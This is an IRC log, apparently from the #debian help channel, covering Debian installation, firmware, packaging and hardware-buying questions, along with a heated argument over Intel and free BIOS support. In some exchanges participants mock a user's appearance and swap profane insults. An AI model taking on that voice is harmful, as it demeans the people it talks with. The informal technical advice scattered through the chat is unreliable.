| 01:01.35 | abrotman | considering it's not supported .. i don't know how it can be 'wrong' |
| 01:02.09 | michael11 | PerfDave: Can I do it without burning an ISO because my cd writer isn't particularly great? |
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| 01:02.22 | PerfDave | michael11: Read the Etch installation guide ;) |
| 01:02.27 | dondelelcaro | abrotman: well, 1) the way the author has mentioned it doesn't even actually work; 2) there are far easier methods of doing it |
| 01:02.40 | geo-rge | michael11: got a pile of blank floppies? |
| 01:02.41 | abrotman | which part doesn't actually work ? |
| 01:02.45 | abrotman | it is fairly old |
| 01:03.10 | dondelelcaro | abrotman: ls /var/lib/dpkg/info/*.list | sed -e 's/.*/(.*).list/1/' > packages.temp <-- we can start here. |
| 01:03.37 | abrotman | that's just broken sed :) |
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| 01:04.05 | jgdr | hi all |
| 01:04.20 | abrotman | michael11: then just ignore it .. it's something i'd seen *a long* time ago |
| 01:04.28 | mc__ | jgdr: good morning |
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| 01:04.50 | jgdr | hello mc__ |
| 01:04.58 | dondelelcaro | abrotman: yeah; the node is good because the comments actually mention the right methods... but you should ignore the article itself. ;-) |
| 01:05.03 | rhalff | huh, should the config /etc/ldap/slapd.conf, look like an /etc/passwd file ? it does.. |
| 01:05.06 | abrotman | dondelelcaro: hehe |
| 01:05.07 | jgdr | I have a question |
| 01:05.55 | enouf | n3kl_: follow links from here http://mikeshardware.co.uk/Links.htm ... look around site as well for general info on CPUs and Chipsets and such |
| 01:06.09 | Cyis | rhalff: slapd.conf and /etc/passwd look nothing alike... |
| 01:06.13 | vinsci | what's the best way to push updates to multiple local machines, ie. not only cache updates like apt-proxy? |
| 01:06.21 | michael11 | PerfDave: Would I need to reformat the partition? |
| 01:06.24 | rhalff | Cyis, ok something went wrong somewhere then |
| 01:06.27 | fr3ak | heh i can't find mysql-server 5.0 on any backports :\ |
| 01:06.31 | PerfDave | michael11: Which partition? |
| 01:07.18 | abrotman | fr3ak: backports.org |
| 01:07.19 | geo-rge | fr3ak: so maybe that's your cue to try postgres |
| 01:07.29 | jgdr | nvidia driver works with ndiswrapper and kernel 2.6.18.2-34-default? |
| 01:07.31 | michael11 | PerfDave: The main / one because I'm running really low on space on the system and can't really shuffle things around. Would the debian installer be smart enough to just mess with the necessary system files? |
| 01:07.37 | Cyis | rhalff: well if slapd.conf looks like /etc/passwd and you try to start slapd and it fails that would be a good indicator :) |
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| 01:08.12 | jason | hello |
| 01:08.19 | jgdr | hi |
| 01:08.32 | jason | hey |
| 01:08.40 | jason | wuz up here |
| 01:08.44 | jason | quite |
| 01:08.50 | jgdr | yep |
| 01:08.59 | jason | i mean quiet |
| 01:09.45 | jason | any women here..? : ) |
| 01:09.56 | geo-rge | jason: you're not a woman?? |
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| 01:10.15 | rhalff | Cyis, cool: ls -l ?--------- ? ? ? ? ? /etc/init.d/slapd :p |
| 01:10.17 | jason | no im not , ? WTh |
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| 01:10.48 | geo-rge | then go away... unless you have a question specific to debian |
| 01:11.03 | Cyis | rhalff: looks like the init.d script got hosed |
| 01:11.21 | PerfDave | michael11: I'd recommend backing up anything you want to keep and just reinstalling from scratch. |
| 01:11.22 | geo-rge | seriously tho... your body shape does remind... oh never mind :P |
| 01:11.22 | rhalff | yeah will reinstall that system |
| 01:11.29 | jason | geo-rge: Why did you ask me that? , I didn't think a woman would be named jason |
| 01:11.31 | phud | that's a secret |
| 01:11.46 | geo-rge | yeah, what he said |
| 01:12.39 | geo-rge | jason: of course, I could ask why you expect to be sarging on chicks here... GO CHRISTMAS SHOPPING, meet chicks there. |
| 01:13.13 | jason | nah |
| 01:13.26 | geo-rge | Oh, I see, so you're afraid that once they see you they won't be interestd |
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| 01:13.42 | PerfDave | geo-rge: Aren't we supposed to be Etching on chicks here now? |
| 01:13.49 | jason | i know why you said that one |
| 01:14.08 | geo-rge | ask any chick you know whether they would want to be etched :P |
| 01:14.16 | jason | no |
| 01:14.21 | jason | the other |
| 01:14.24 | PerfDave | geo-rge: I'm possibly the wrong person to say that to :) |
| 01:14.25 | rahul | geo-rge: I know some who would |
| 01:14.45 | rahul | where etching = tatooing :) |
| 01:14.57 | PerfDave | rahul: Or indeed scarring |
| 01:14.59 | geo-rge | oh, didn't think of that |
| 01:15.21 | jason | big burp |
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| 01:16.36 | geo-rge | jason: so, what, your face is so pitted and your body is so out of shape that you can't possibly succeed... and so you come here to meet chicks?! I have to suggest to you, IT'S NOT THAT BAD... go. try. succeed. repeat. |
| 01:16.50 | jason | why do some of the super karamba widgets not work right..? |
| 01:17.01 | jason | geo-rge: whatever man |
| 01:17.03 | abrotman | on debian ? |
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| 01:17.40 | jason | geo-rge: i would get more tail than you ever could |
| 01:18.03 | usr_rob | can you compile a custom kernel to have the whole system green on black as an old terminal or should i go on bashrc and can i set some parameters in menu.list to have the bootup in the desired colors that i want ? |
| 01:18.03 | geo-rge | oh, ok... and that explains why you're here looking... |
| 01:18.04 | jason | debian based - freespire |
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| 01:18.11 | abrotman | then ask #freespire |
| 01:18.42 | dondelelcaro | usr_rob: you could, but it'd be totally pointless. |
| 01:18.55 | PerfDave | usr_rob: Do you want that in an xterm, or at the text console? |
| 01:19.24 | usr_rob | PerfDave, as i'm not going to have x on the server so |
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| 01:19.39 | rahul | usr_rob: what will you do for the other colors? |
| 01:20.01 | PerfDave | usr_rob: I would expect that you could either do it with a command-line option to getty, or maybe a kernel boot-time option, rahter than something compiled in. |
| 01:20.05 | vinsci | usr_rob, grub has options to set the console colors |
| 01:20.06 | usr_rob | rahul, i want the whole system green on black |
| 01:20.20 | rahul | ugh |
| 01:20.23 | usr_rob | vinsci, yeah, i know them |
| 01:20.34 | dondelelcaro | usr_rob: why don't you just remove the blue and red pins, then? |
| 01:20.48 | enouf | usr_rob: funny all mt konsole shells (VTs) are green on black |
| 01:21.04 | enouf | s/mt/my |
| 01:21.31 | usr_rob | enouf, i want the the boot to be green on black to |
| 01:21.39 | vinsci | some monitors have switches on the fron panel to turn off the individual rgb colors |
| 01:22.03 | usr_rob | vinsci, yeah, hehe thats an option :) |
| 01:22.04 | rahul | just break the r and b pins :) |
| 01:22.23 | usr_rob | rahul, okey, i'll check it :) |
| 01:22.26 | enouf | usr_rob: I dont boot often enouf to worry about that .. but 1.custom slash image 2.Set system colors 3.If necessary, set X colors .. done |
| 01:22.53 | usr_rob | enouf, thx! |
| 01:23.27 | usr_rob | silly but i want that 80 terminal feel as i'm going to have the monitor on often hehe |
| 01:23.49 | [pacha] | i get this error: kernel panic > > > pivot_root: No Such file or directori |
| 01:23.50 | [pacha] | > > > /sbin/init : 432 : cannot open dev/console : No Such |
| 01:23.50 | [pacha] | > > > file |
| 01:23.50 | [pacha] | > > > Kernel panic : Attempet to kill init! |
| 01:23.50 | *** kick/#debian [[pacha]!n=debhelpe@unaffiliated/debhelper] by debhelper (use the paster bot or #flood) |
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| 01:23.59 | vinsci | usr_rob, why not simply use a serial console? Works for me ;-) |
| 01:24.17 | abrotman | !devconsole |
| 01:24.17 | dpkg | extra, extra, read all about it, devconsole is http://zgp.org/pipermail/linux-elitists/2005-October/011299.html or http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=282141 |
| 01:24.21 | usr_rob | vinsci, yeah, :) |
| 01:24.35 | vinsci | linux hasn't forgotten its old tricks ;) |
| 01:25.00 | [pacha] | pivot_root: No Such file or directorio /sbin/init : 432 : cannot open dev/console : No Souch Kernel panic : Attempet to kill init! |
| 01:25.53 | [pacha] | any ideas? |
| 01:26.10 | geo-rge | abrotman: back to my mobo question... so, choose the cpu first... |
| 01:26.14 | abrotman | yes |
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| 01:26.20 | abrotman | [pacha]: see above |
| 01:26.35 | [pacha] | paste-it again please |
| 01:26.37 | geo-rge | can we still look at both, maybe splitting into two conversational threads? |
| 01:26.44 | abrotman | it was right after you joined :) |
| 01:26.46 | [pacha] | i was kicked =P |
| 01:27.00 | abrotman | !tell [pacha] about devconsole |
| 01:27.09 | abrotman | [pacha]: apparently the results are mixed |
| 01:27.18 | [pacha] | !devcosole |
| 01:27.21 | abrotman | geo-rge: just decide how much you want to spend |
| 01:27.24 | [pacha] | !devconsole |
| 01:27.24 | dpkg | hmm... devconsole is http://zgp.org/pipermail/linux-elitists/2005-October/011299.html or http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=282141 |
| 01:27.55 | geo-rge | that's usually decided long afterwards... |
| 01:28.07 | abrotman | not really ... |
| 01:28.14 | geo-rge | is there any mobo that would at minimum support my present ddr1 ram? |
| 01:28.26 | Cyis | usually the budget is very much first in the decision making process |
| 01:28.28 | geo-rge | but at the same time go to newer arch? |
| 01:28.28 | abrotman | not even worth it .. yes there is .. but not worth it |
| 01:28.33 | rahul | geo-rge: yes |
| 01:28.36 | enouf | ofcourse |
| 01:28.37 | geo-rge | ok |
| 01:28.40 | rahul | geo-rge: one sec |
| 01:28.54 | geo-rge | remember I'm just dreaming right now :) |
| 01:28.57 | Cyis | I pick the CPU then find the mobo for it... |
| 01:29.39 | rahul | geo-rge: ASRock 775Dual-VSTA |
| 01:29.42 | abrotman | how much DDR1 do you have ? |
| 01:29.42 | geo-rge | what about this freelinux bios? can it support things like macos and win? |
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| 01:29.51 | Cyis | oh if we're just dreaming find me a quad-Opteron :) |
| 01:29.56 | geo-rge | 775, |
| 01:30.07 | abrotman | 768 you mean ? |
| 01:30.08 | geo-rge | hmm, I have a p4 that is that processor |
| 01:30.17 | geo-rge | err that socket |
| 01:30.28 | rahul | why would you buy a p4? |
| 01:30.34 | michael11 | geo-rge: indeed |
| 01:30.46 | abrotman | depends on the family of P4 |
| 01:31.21 | michael11 | rahul: I bought one when the whole hyperthreading thing came out because I thought it would actually do the multiple processes at a time lik ei tsaid |
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| 01:31.56 | geo-rge | rahul: I bought that a long time ago |
| 01:32.01 | geo-rge | running it now |
| 01:32.05 | Cyis | time to boot this livecd... bbiaf |
| 01:32.06 | aib_ | in the Debian New Maintainer's Guide it says to add "-dev" to all the packages that mine depends on. why do i want to require my users to have development versions of all of these? |
| 01:32.15 | rahul | michael11: hah. yeah... SMT on a P4. now that's a joke. |
| 01:32.25 | abrotman | aib_: for building from source |
| 01:32.30 | rahul | geo-rge: I thought you wanted to upgrade? |
| 01:32.36 | freeone3000 | What is the preferred way to install jdk 6? |
| 01:32.44 | geo-rge | aib_: in case they wish to build something |
| 01:32.46 | freeone3000 | javapackage isn't working, and it's not in apt yet. |
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| 01:33.07 | geo-rge | rahul: dreaming of doing so... |
| 01:33.25 | rahul | geo-rge: ok, then you don't need to think about the old cpu |
| 01:33.26 | aib_ | are these -dev packages guaranteed to exist? i mean, i generated a long list of dependencies: libc6 libc6-i686 libcoin40c2 libfontconfig1 libgcc1 libgl1-mesa-glx libglu1-mesa libgsl0 libice6 libjpeg62 libpng12-0 libqt4-debug libqt4-gui libqt4-qt3support libreadline5 libsm6 libstdc++6 libx11-6 libxcursor1 libxext6 libxi6 libxinerama1 libxmu6 libxrandr2 libxrender1 soqt zlib1g |
| 01:33.40 | abrotman | they should exist |
| 01:33.56 | abrotman | they might have different -dev names .. slightly |
| 01:33.57 | geo-rge | aib_: those would be the libs on your system |
| 01:33.58 | rahul | aib_: you only need to depend on -dev in your -dev package |
| 01:34.02 | abrotman | !mentors |
| 01:34.02 | dpkg | mentors is, like, Please /msg dpkg mg and/or try http://lists.debian.org/debian-mentors/ and/or try #debian-mentors on irc.debian.org, or http://mentors.debian.net/ |
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| 01:34.15 | michael11 | rahul: Do you like AMD Athlon 64's or the new Core 2 Duo's from Intel better? |
| 01:34.32 | abrotman | Core2 are cheap enough |
| 01:34.35 | geo-rge | yes, and why? |
| 01:34.45 | aib_ | ok, so this is for my "source" package, whereas my binary package lists exactly what I just pasted in? |
| 01:34.52 | abrotman | aib_: yes |
| 01:34.56 | aib_ | thanks |
| 01:34.58 | abrotman | AFAIK anyways |
| 01:35.04 | rahul | michael11: the core 2 duos seem to be faster at almost everything and signifigantly lower power consumption |
| 01:35.21 | freeone3000 | Hey, lookie, there's a thread doing it on ubuntu. |
| 01:35.39 | michael11 | rahul: Yeah... strange coming from intel and seeing them actually give some support for overclocking |
| 01:35.48 | rahul | aib_: dh_shlibdeps will figure out automatically what lib packages need to be depended on |
| 01:35.49 | geo-rge | I do have a core2duo too, but I bought a crap mobo I never returned |
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| 01:36.00 | geo-rge | never posted, I switched back |
| 01:36.09 | michael11 | geo-rge: Ebay it then get a better mobo |
| 01:36.09 | ChompWzrd | there's new core2duo steppings coming soon that lower the idle power even further, goes from about 22 watts at idle to 7 watts |
| 01:36.10 | rahul | michael11: they realized the folly of netburst |
| 01:36.23 | rahul | ChompWzrd: damn |
| 01:36.32 | abrotman | geo-rge: probably a PSU issue |
| 01:36.33 | geo-rge | but let's assume I go for core2duo |
| 01:36.41 | geo-rge | what kind of arch is that? |
| 01:36.54 | abrotman | amd64 |
| 01:36.54 | rahul | geo-rge: amd compatible |
| 01:36.58 | rahul | :) |
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| 01:37.07 | rahul | intel is now making amd compatible chips :P |
| 01:37.14 | abrotman | mostly compatible |
| 01:37.29 | CompWizrd | amd64 if you want 64 bit, otherwise i386 |
| 01:37.32 | geo-rge | hmm, so: if I go for a newer intel, I could use either arch? |
| 01:37.36 | abrotman | yes |
| 01:37.49 | geo-rge | and I could use either mobo too? or what? |
| 01:37.54 | abrotman | no |
| 01:37.58 | geo-rge | ok |
| 01:38.03 | michael11 | geo-rge: Technically they lik eto call it E64 |
| 01:38.10 | abrotman | too bad directhex left .. he knew all this shit inside and out :) |
| 01:38.20 | abrotman | michael11: EM64T |
| 01:38.34 | michael11 | abrotman: ehh... same thing |
| 01:38.45 | geo-rge | 64b... so that means I need to install ram in pairs? |
| 01:38.55 | Dark_Apostrophe | abrotman: What does EM64T stand for? (Are there any differences between it and AMD64?) |
| 01:38.55 | abrotman | you dn't have to |
| 01:39.00 | CompWizrd | no, that's up to whether you want dual channel or not |
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| 01:39.19 | rahul | geo-rge: memory busses have been 128b for a long time anyway |
| 01:39.20 | vinsci | geo-rge, for choosing the cpu with the most performance per $$, see the chart here (lower is better): http://www23.tomshardware.com/cpu.html?modelx=33&model1=430&model2=464&chart=195 |
| 01:39.22 | michael11 | no, it is just intel's name because they would never in hell call their architecture amd64 |
| 01:39.23 | abrotman | Dark_Apostrophe: NFC .. it's intel's name for x86_64 |
| 01:39.27 | abrotman | !em64t |
| 01:39.27 | dpkg | it has been said that em64t is Intel's clone of AMD Athlon64/Opteron architecture - provides 64-bit extensions to i386 architecture. Use AMD64 Debian (/msg dpkg amd64), or Sarge with a -em64t-p4 kernel. Found only on Nocona and Irwindale Xeons, or the latest Extreme Edition Pentiums |
| 01:39.29 | geo-rge | could you give a short explanatin of dual channel? |
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| 01:39.50 | rahul | geo-rge: it's like RAID 0 for RAM. |
| 01:39.56 | abrotman | there's also #hardware :) |
| 01:39.57 | michael11 | Dual channel requires two exact sticks or ram |
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| 01:40.01 | michael11 | and splits it between them |
| 01:40.06 | michael11 | yeah, like raid |
| 01:40.06 | abrotman | but it can run with one |
| 01:40.37 | michael11 | you don't need to really worry about it when buying ram because they all come in pairs now and you just stick it in and it's fine |
| 01:40.38 | AZ_AS | there we go, back in debian |
| 01:40.49 | michael11 | well, mostly |
| 01:40.54 | CompWizrd | http://www.theinquirer.net/default.aspx?article=36446 found the article on the conroe stepping.. was 12w not 7w, my mistake |
| 01:40.55 | AZ_AS | abrotman: mind pasting the command that you asked me to type? |
| 01:40.56 | abrotman | michael11: no .. you can buy singles |
| 01:41.05 | abrotman | AZ_AS: dpkg -l libc6 | tail -1 |
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| 01:41.42 | enouf | geo-rge: By contrast, AMD has been cooperating by releasing major chunks of their BIOS source code and making their technical experts available. |
| 01:41.56 | michael11 | abrotman: yes, but most times they will come in pairs for dual channel |
| 01:42.04 | enouf | You can help our campaign by buying AMD CPU chips and not buying Intel, and by publishing statements about what you're doing. Likewise, buy motherboards that support free BIOS. |
| 01:42.05 | geo-rge | if I get dual (or more) channel, can I say "always use this channel for processes, and that channel for I/O" |
| 01:42.11 | abrotman | michael11: great .. you can still buy singles .. and the motherboards operate like that |
| 01:42.14 | abrotman | or can operate |
| 01:42.33 | geo-rge | enouf: I just read that exact phrase several minutes ago :) |
| 01:42.53 | abrotman | i don't know a single mobo that supports freeBIOS |
| 01:43.06 | geo-rge | they're all married?! |
| 01:43.21 | AZ_AS | said command not found |
| 01:43.21 | enouf | geo-rge: I lost it .. and found it again .. abrotman http://linuxbios.org/index.php/Supported_Motherboards |
| 01:43.24 | geo-rge | no, seriously, there's a list :) |
| 01:43.26 | capiira | is the etch theme the original gnome theme? |
| 01:43.27 | CompWizrd | i had a few boards that would support freebios.. but i didn't have much need for the pentium II that went with it. |
| 01:43.35 | abrotman | http://linuxbios.org/index.php/Supported_Motherboards |
| 01:43.47 | abrotman | AZ_AS: dpkg -l libc6 | tail -1 |
| 01:44.06 | EdLin | capiira: closer than Ubuntu I guess. |
| 01:44.08 | geo-rge | if I go with that, will that support macos and winxp/win2k? |
| 01:44.09 | abrotman | enouf: notice the intel boards on there ? |
| 01:44.24 | AZ_AS | there a way to c/p that? |
| 01:44.26 | geo-rge | abrotman: yeah, I noticed that |
| 01:44.29 | capiira | i never saw a original gnome them becuse every distro customize it |
| 01:44.36 | capiira | :) |
| 01:44.37 | wotdu | lol capiira |
| 01:44.48 | wotdu | just use a decent distro :P |
| 01:44.53 | capiira | im on debian |
| 01:44.55 | capiira | hehe |
| 01:45.00 | geo-rge | the only original gnome is the one on my lawn :P |
| 01:45.07 | enouf | abrotman: The most uncooperative company is Intel, which has started a sham "open source" BIOS project. The software consists of all the unimportant parts of of a BIOS, without the hard parts. It won't run, and doesn't bring us any closer to a BIOS that does run. It is just a distraction. |
| 01:45.33 | abrotman | enouf: however .. intel cooperates with their hardware .. which is probably more important .. drivers for all their crap |
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| 01:45.37 | geo-rge | enouf: I just read that exact phrase several minutes ago :) |
| 01:45.37 | Dark_Apostrophe | capiira: You're lucky. |
| 01:45.42 | capiira | not even gnome have original screenshots |
| 01:45.56 | enouf | geo-rge: want the link again? :-P |
| 01:45.59 | EdLin | enouf: intel video cards have the only current open-source drivers. |
| 01:46.10 | geo-rge | nope, it's in my browser now |
| 01:46.12 | EdLin | (accelerated drivers that is) |
| 01:46.13 | abrotman | and all their wifi and LAN cards work AFAIK |
| 01:46.26 | geo-rge | it's probably not so influential over my decision |
| 01:46.29 | capiira | yeah im trying etch testing now and need to decide fedora or etch testing :) |
| 01:46.31 | Dark_Apostrophe | capiira: If you had seen it, like I have, you would forever be a KDE user. :) |
| 01:46.41 | capiira | nah |
| 01:46.47 | capiira | i never liked kde |
| 01:46.52 | enouf | EdLin: I think there's something very fishy about Intel open source drivers .. nothing to prove it though yet |
| 01:46.53 | capiira | ekk |
| 01:47.02 | geo-rge | I can either be politically gnurrect or I can have things that work reliably |
| 01:47.16 | geo-rge | now THERE is a qotd :P |
| 01:47.28 | EdLin | enouf: um, what's fishy? |
| 01:47.35 | geo-rge | fish |
| 01:47.38 | EdLin | enouf: besides the fact that you hate Intel. |
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| 01:48.03 | abrotman | though i think 3945ABG needs firmward |
| 01:48.07 | abrotman | firmware |
| 01:48.28 | enouf | EdLin: haven't put my finger on it yet .. just started hearing ppl raving about how wonderful their open source is .. and since they don't make any real accelerated graphics .. big deal |
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| 01:48.42 | fulldisclosure | dpkg gnome-bluetooth |
| 01:48.50 | enouf | EdLin: no .. besides that you love being dictated to |
| 01:48.51 | abrotman | !bluetooth |
| 01:48.51 | dpkg | [bluetooth] , like, a wireless communications protocol, or http://bluetooth.com/ or about as secure as shouting, or apt-get install bluez-utils; then run hidd --search as root. |
| 01:48.51 | liable | dont all the intel need firmware? |
| 01:48.53 | geo-rge | abrotman: what would your tendency be at this point, cpu -> motherboard/bios? |
| 01:48.56 | rahul | enouf: 3d graphics is all that matters to you? |
| 01:48.59 | abrotman | geo-rge: huh ? |
| 01:49.02 | enouf | EdLin: and told what you can and cannot do |
| 01:49.02 | EdLin | enouf: their real acceleration is good enough to run Areo and the Linux equivalents with all features. |
| 01:49.04 | liable | the daemon is the shit thing for 3945 |
| 01:49.12 | itchi | capiira: Man, need you still make a choice?? Take Debian! |
| 01:49.14 | enouf | rahul: nope |
| 01:49.24 | EdLin | enouf: well, name one open-source video driver that's better than intel's.... |
| 01:49.29 | fulldisclosure | !gnome-bluetooth |
| 01:49.35 | geo-rge | abrotman: if you were to upgrade now or within say 2 months, what would you go for and why? |
| 01:49.36 | enouf | EdLin: their onboard graphics don;t even come close to nvidia nor amds |
| 01:49.43 | abrotman | geo-rge: core2 |
| 01:49.48 | capiira | :) at least i managed to get nvidia working |
| 01:49.58 | enouf | EdLin: I can't .. it's the same so far |
| 01:50.04 | fulldisclosure | someone under etch with bluetooth transfering ok? |
| 01:50.04 | geo-rge | with which mobo? and, would you go with linuxbios? |
| 01:50.05 | enouf | Which means crap |
| 01:50.05 | fulldisclosure | please |
| 01:50.06 | EdLin | enouf: yes, comparing closed source drivers with open-source. What was your point about opensource hardware again? |
| 01:50.09 | abrotman | but i would be upgrading a laptop .. lower power consumptin .. intel plays nice (mostly) .. and decently cheap |
| 01:50.16 | enouf | It means didley squat .. |
| 01:50.16 | itchi | A bit retarded, yeah the ipw3945 need a firmware |
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| 01:50.22 | enouf | Big deal .. |
| 01:50.23 | Acu | OK - maybe a usefull info for all of you - K3B, GNOMEBAKER, NEROLINUX, Brasero - CANNOT write Double Layer DVD - at least using Debian Etch RC1 - I have waisted 6 DL DVD in vain (well at least you know it sucks) |
| 01:50.25 | enouf | Whoopie |
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| 01:50.41 | enouf | EdLin: my point exactly |
| 01:50.57 | geo-rge | Acu: do you have the appropriate hardware? |
| 01:51.04 | Acu | Well - they write you get OK at the end - but it cannot be used |
| 01:51.10 | abrotman | enouf: so you want us to support free-bios .. but you're going to buy nvidia graphics cards ? |
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| 01:51.26 | enouf | intel's open source .. is just .. er _run_of_the_mill technology .. they prolly stole the code from Linux deveklopers .. lol |
| 01:51.39 | enouf | abrotman: nope |
| 01:51.48 | enouf | I don;t need closed sourcedd anything . |
| 01:51.50 | geo-rge | "stole"... is it under GPL? |
| 01:52.08 | Acu | geo-rge: is a DVD DL writer - all of the above applications have confirmed it ready to write DL |
| 01:52.18 | EdLin | enouf: you are getting this >.< close to being on my /ignore list |
| 01:52.23 | abrotman | hehe |
| 01:52.45 | geo-rge | aaannnd welcome to it! |
| 01:52.57 | abrotman | enouf: the point is that it's open .. and sufficient |
| 01:53.03 | enouf | abrotman: I'm just clamming up your somewhat silly statement about how all nice intel is, by giving us what ampounts to "work that's already been done" .. but working on "their" hardware only |
| 01:53.07 | itchi | Acu: Maybe, you have another little trouble, not realy application related?? |
| 01:53.17 | abrotman | enouf: i think you're very misinformed |
| 01:53.17 | enouf | EdLin: join the club :-P |
| 01:53.37 | rahul | enouf: what the hell? why would intel's drivers work on other people's hardware? |
| 01:53.42 | rahul | enouf: you're full of shit |
| 01:53.46 | EdLin | enouf: you're amusing, the main reason for not being on it yet. ;) |
| 01:53.46 | fulldisclosure | someone under etch with bluetooth transfering ok? |
| 01:53.49 | enouf | abrotman: stop promoting Intel .. and i'll back off .. otherwise support Real open source |
| 01:54.04 | rahul | as opposed to Fake open source |
| 01:54.07 | enouf | rahul: shut up already |
| 01:54.09 | PerfDave | enouf: Helix player is Real open source? |
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| 01:54.10 | Acu | itchi: I can write Single Layer OK |
| 01:54.22 | abrotman | enouf: it is open! |
| 01:54.23 | abrotman | fucktard |
| 01:54.24 | rahul | enouf: why should I shut up? you're the one ranting. |
| 01:54.25 | chuckkh | hello, almost have bcm43xx working |
| 01:54.28 | enouf | PerfDave: I don;t give a crap about real Player .. why should I |
| 01:54.35 | itchi | !peace and love |
| 01:54.40 | PerfDave | enouf: You brought it up :) |
| 01:54.42 | itchi | dumb bot |
| 01:54.43 | chuckkh | wondering if anyone knows into what directory I need to install the firmware |
| 01:55.00 | abrotman | use the fwcutter |
| 01:55.01 | liable | chuckkh: usually /lib/firmware/ |
| 01:55.04 | chuckkh | hmm |
| 01:55.06 | liable | oh and that |
| 01:55.08 | chuckkh | tried that |
| 01:55.15 | enouf | rahul: I was having a convo with abrotman and 'geo-rge' .. until some others started "ranting" |
| 01:55.18 | geo-rge | so read the directions |
| 01:55.20 | Acu | chuckkh: when you made it work please let me know - I had it working on Ubuntu - but I cannot with Debian - I need it badly |
| 01:55.26 | chuckkh | the bcm43xx forum is alseep |
| 01:55.33 | abrotman | enouf: you're ranting about freebios ... but refuse to support intel based on supporting opensource |
| 01:55.34 | geo-rge | enouf: you started ranting too |
| 01:55.36 | rahul | enouf: no, you're the only one ranting here |
| 01:55.39 | geo-rge | but that's ok |
| 01:55.40 | itchi | Acu: Yeah, my knowledges are not far enought about it, but i guess there should be many difference between single and dual, but know to less about it to be honest |
| 01:55.45 | enouf | EdLin: you make me laugh too .. thanks for that :-) |
| 01:55.47 | chuckkh | boy you guys are randing |
| 01:55.48 | geo-rge | because I learn a little |
| 01:55.50 | chuckkh | *ranting |
| 01:55.56 | abrotman | !info bcm43xx-fwcutter etch |
| 01:55.58 | dpkg | bcm43xx-fwcutter: (Utility for extracting Broadcom 43xx firmware), section contrib/utils, is optional. Version: 1:005-1 (etch), Packaged size: 24 kB, Installed size: 112 kB |
| 01:56.26 | michael11 | I'm trying to delete a directory and all but a few files have been deleted and the remaining ones are giving me an error that says it cannot be done because it's a "Read-only file system" and I tried to chmod 777 them but got the same error |
| 01:56.39 | geo-rge | but don't go around repeating everything over and over... of course that gets boring (this would be to whom it may concern :P ) |
| 01:56.43 | rahul | michael11: the fs is _mounted_ read only |
| 01:56.44 | chuckkh | I followed allllll the directions, no error messages, no problems in dmesg loading bcm43xx, but iwconfig can't locate the card |
| 01:56.49 | itchi | !beer and love |
| 01:56.57 | abrotman | chuckkh: did you use the fwcutter program ? |
| 01:56.59 | itchi | pfff, realy dumb bot :-p |
| 01:57.04 | chuckkh | tried fwcutter on both bcmwl5 and bcmwl564 |
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| 01:57.10 | chuckkh | abrotman: yup |
| 01:57.10 | EdLin | smart bot, Yuengling is good. |
| 01:57.20 | abrotman | EdLin: how would you know?! |
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| 01:57.26 | michael11 | rahul: I was able to delete the other files in the directory |
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| 01:57.30 | rahul | yuengling is good because it's cheap |
| 01:57.31 | fulldisclosure | Is someone here using bluetooth for transfering files in debian? |
| 01:57.35 | fulldisclosure | Please:-) |
| 01:57.38 | chuckkh | Yuengling is ok but Newcastle is the shite |
| 01:57.43 | zasz | wow the devel chan sure has shrank |
| 01:57.45 | rahul | michael11: just now? |
| 01:57.54 | michael11 | rahul: yes |
| 01:58.03 | abrotman | zasz: try OFTC |
| 01:58.06 | liable | zasz: try oftc |
| 01:58.11 | michael11 | rahul: only a few were left and they are giving me that error |
| 01:58.14 | liable | meh |
| 01:58.17 | geo-rge | fulldisclosure: ask your real question, ask smart questions, ask sicco questions |
| 01:58.18 | rahul | michael11: check dmesg |
| 01:58.26 | chuckkh | I fwcuttere'ed everything into /lib/firmware |
| 01:58.40 | geo-rge | !ask |
| 01:58.40 | dpkg | If you have a question, just ask! For Example: "I have a problem with ___; I'm running Debian version ___. when I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, or if anyone uses it, or pick one person to ask (ask the whole channel!). We're all volunteers; make it easy for us to help you. If you don't get an answer, ask later or ask debian-user@lists.debian.org |
| 01:59.02 | abrotman | chuckkh: any errors ? |
| 01:59.14 | chuckkh | abrotman: no |
| 01:59.17 | fulldisclosure | geo-rge, I have bluez-gnome installed, my celular telephone find my debian laptop with bluetooth, but when I want to send a file to laptop from celular, it requires a pass, I put the pass in both machines, then it fails. |
| 01:59.25 | chuckkh | dmesg just shows "bcm43xx driver" |
| 01:59.27 | fulldisclosure | geo-rge, I dont know why, maybe I need something more. |
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| 01:59.39 | enouf | abrotman: you stupid shit |
| 01:59.47 | abrotman | you funny australian! |
| 01:59.53 | geo-rge | fulldisclosure: from the factoid: "don't ... pick one person to ask (ask the whole channel!)" |
| 02:00.11 | abrotman | and that was just a guess :) |
| 02:00.13 | fulldisclosure | ok |
| 02:00.16 | fulldisclosure | sorry geo-rge |
| 02:00.32 | abrotman | enouf: is that all ? |
| 02:00.39 | rahul | abrotman: heh |
| 02:00.52 | geo-rge | np, but now you know (also: don't repeat questions, not without adding data to them) |
| 02:00.54 | MatBoy | Why does TNT need to smash with my HD's ? ;( |
| 02:00.56 | chuckkh | this is the silliest I've seen this forum |
| 02:01.00 | enouf | abrotman: yep .. touché :-) |
| 02:01.05 | chuckkh | :) |
| 02:01.16 | enouf | read the scroll back .. was too busy typing retardo boy |
| 02:01.19 | enouf | :-P |
| 02:01.27 | abrotman | chuckkh: does that version support your device ? |
| 02:01.30 | abrotman | enouf: okay .. and ? |
| 02:01.51 | chuckkh | abrotman: version of... bcm43xx? |
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| 02:02.05 | abrotman | yes |
| 02:02.14 | chuckkh | errr... I dunno |
| 02:02.16 | abrotman | does the module load at all ? |
| 02:02.21 | chuckkh | yes |
| 02:02.29 | abrotman | can't find the firmware though ? |
| 02:02.30 | geo-rge | enouf: now you're ranting beyond the original conversation, and your behavior is getting bad too |
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| 02:02.39 | chuckkh | well it doesn't SAY it can't find the firmware |
| 02:02.45 | chuckkh | I'm not sure where the problem really is |
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| 02:02.56 | abrotman | there are different veresions of firmware .. that support different devices |
| 02:02.58 | chuckkh | because everything proceeds fine |
| 02:03.01 | abrotman | IIRC anyways |
| 02:03.02 | chuckkh | oh yeah |
| 02:03.17 | chuckkh | well I got the 64 bit version for bcm, and the 32 bit |
| 02:03.26 | abrotman | i haven't messed with it since i got a PPC mini |
| 02:03.27 | enouf | geo-rge: I'm not talking anymore .. or have you not noticed .. suggest you scroll up geo-rge .. to see the whole picture .. you missed some things |
